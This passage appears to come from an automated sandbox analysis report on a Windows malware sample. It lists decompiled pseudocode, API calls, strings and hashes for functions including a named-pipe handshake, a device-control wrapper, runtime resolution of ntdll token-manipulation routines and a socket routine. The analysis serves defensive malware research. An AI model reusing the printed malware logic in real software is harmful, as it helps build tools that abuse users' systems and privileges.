D, xrefs: 0040785C

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: CreateEventExitProcess
String ID: PromptOnSecureDesktop
API String ID: 2404124870-2980165447
Opcode ID: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction ID: 074d9bb49edb1fcb374f0917b5464843becdd4ef2bd88426a03fabb40598a920
Opcode Fuzzy Hash: ecdf59d793d742e7872ece16c3f2b9a8eabc219a589cb6fa6f12b524e62dd379
Instruction Fuzzy Hash: 3C5192B1E00209BAEB10ABA19D45FFF7A7CEB54755F00007AFB04B61C1E7798A41C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00408E26, Relevance: 4.6, APIs: 3, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408E26(void* __ecx, void* __edx, long _a4, void* _a8, long _a12, void* _a16, long _a20, DWORD* _a24) {
				char _v12;
				int _t13;
				DWORD* _t14;
				int _t15;
				void* _t20;
				void* _t23;

				_t22 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t20 = CreateFileW(E00402508(0x4129f8,  &E0041076C, 0xe, 0xec64, 0x7bac), 0xc0000000, 0, 0, 2, 0x80, 0);
				E0040EE2A(_t22, 0x4129f8, 0, 0x200);
				if(_t20 == 0xffffffff) {
					_t13 = 0;
				} else {
					_t23 = _a8;
					if(_t23 == 0) {
						E00408DF1( &_v12);
						_t23 =  &_v12;
						_a12 = 8;
					}
					_t14 = _a24;
					 *_t14 = 0;
					_t15 = DeviceIoControl(_t20, _a4, _t23, _a12, _a16, _a20, _t14, 0);
					CloseHandle(_t20);
					_t13 = _t15;
				}
				return _t13;
			}

0x00408e26
0x00408e29
0x00408e2a
0x00408e6c
0x00408e6e
0x00408e79
0x00408ebe
0x00408e7b
0x00408e7b
0x00408e80
0x00408e86
0x00408e8c
0x00408e8f
0x00408e8f
0x00408e96
0x00408e9e
0x00408eab
0x00408eb4
0x00408eba
0x00408eba
0x00408ec4

APIs

CreateFileW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00408E5F
DeviceIoControl.KERNEL32 ref: 00408EAB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00408EB4

Part of subcall function 00408DF1: GetSystemTime.KERNEL32(?,004129F8,?,?,00408E8B,?), ref: 00408DFC
Part of subcall function 00408DF1: SystemTimeToFileTime.KERNEL32(?,00408E8B,?,?,00408E8B,?), ref: 00408E0A

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$CloseControlCreateDeviceHandle
String ID:
API String ID: 3754425949-0
Opcode ID: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction ID: 6158522553dbc768b3fa764069f531a078bfca64040c8912efb0c234455cb59d
Opcode Fuzzy Hash: 2cf703b3f3d70fe1d21397a344fcfe55e6ffa78bdc2e74738428da1b6bf63eb9
Instruction Fuzzy Hash: CD11C8726402047BEB115F95CD4EEDB3F6DEB85714F00452AF611B62C1DAB9985087A8

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

NtSetInformationThread, xrefs: 00401155
NtSetInformationToken, xrefs: 00401175
RtlInitUnicodeString, xrefs: 00401135
RtlAllocateAndInitializeSid, xrefs: 0040120F
NtQueryInformationToken, xrefs: 00401262
RtlLengthSid, xrefs: 00401246
NtOpenProcessToken, xrefs: 004011D4
RtlFreeSid, xrefs: 00401116
ntdll.dll, xrefs: 0040100D
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
NtClose, xrefs: 004011B4
NtTerminateProcess, xrefs: 004010F6
RtlSetLastWin32Error, xrefs: 004010D6
NtFilterToken, xrefs: 0040122B
NtDuplicateToken, xrefs: 004011F3
RtlNtStatusToDosError, xrefs: 00401194

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C26E, Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C2B2
_wcscat_s.LIBCMTD ref: 0042C4CA

Part of subcall function 00432050: __invalid_parameter.LIBCMTD ref: 004320C2

__invoke_watson_if_error.LIBCMTD ref: 0042C4D3

Part of subcall function 0041DEE0: __invoke_watson.LIBCMTD ref: 0041DF01

_wcscat_s.LIBCMTD ref: 0042C502

Part of subcall function 00432050: _memset.LIBCMT ref: 0043212B
Part of subcall function 00432050: __invalid_parameter.LIBCMTD ref: 00432187

__invoke_watson_if_error.LIBCMTD ref: 0042C50B
__invoke_watson_if_oneof.LIBCMTD ref: 0042C59D
_wcscpy_s.LIBCMTD ref: 0042C5E2
__invoke_watson_if_error.LIBCMTD ref: 0042C5EB
__cftoe.LIBCMTD ref: 0042C65F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C68E
_wcscpy_s.LIBCMTD ref: 0042C6C6
__invoke_watson_if_error.LIBCMTD ref: 0042C6CF
__itow_s.LIBCMTD ref: 0042C2A9

Part of subcall function 00436CC0: _xtow_s@20.LIBCMTD ref: 00436CEB

__strftime_l.LIBCMTD ref: 0042C369
__invoke_watson_if_oneof.LIBCMTD ref: 0042C3A2
_wcscpy_s.LIBCMTD ref: 0042C3E7
__invoke_watson_if_error.LIBCMTD ref: 0042C3F0
_wcscpy_s.LIBCMTD ref: 0042C443
__invoke_watson_if_error.LIBCMTD ref: 0042C44C
_wcscat_s.LIBCMTD ref: 0042C47D
__invoke_watson_if_error.LIBCMTD ref: 0042C486

Strings

t9j, xrefs: 0042C8F5
hh^@, xrefs: 0042C67E
h`b@, xrefs: 0042C679
h`b@, xrefs: 0042C460
t8j, xrefs: 0042C69D

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h`b@$h`b@$hh^@$t8j$t9j
API String ID: 2916338978-2251402083
Opcode ID: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction ID: 385c69d163ae73134a4eccd0715ea6b6dca537fbd425e637686f207eecc18717
Opcode Fuzzy Hash: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction Fuzzy Hash: 460293B4E40728ABDB20EF50DC46BDF7378AB14746F50409AF6097A2C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Aug, xrefs: 0040B287
Wed, xrefs: 0040B23A
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Sep, xrefs: 0040B28E
Jan, xrefs: 0040B256
Thu, xrefs: 0040B241
Tue, xrefs: 0040B233
Mar, xrefs: 0040B264
Apr, xrefs: 0040B26B
May, xrefs: 0040B272
Fri, xrefs: 0040B248
Mon, xrefs: 0040B22C
Jun, xrefs: 0040B279
Feb, xrefs: 0040B25D
Nov, xrefs: 0040B29C
Jul, xrefs: 0040B280
Dec, xrefs: 0040B2A3
Oct, xrefs: 0040B295
Sun, xrefs: 0040B225
Sat, xrefs: 0040B24F

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
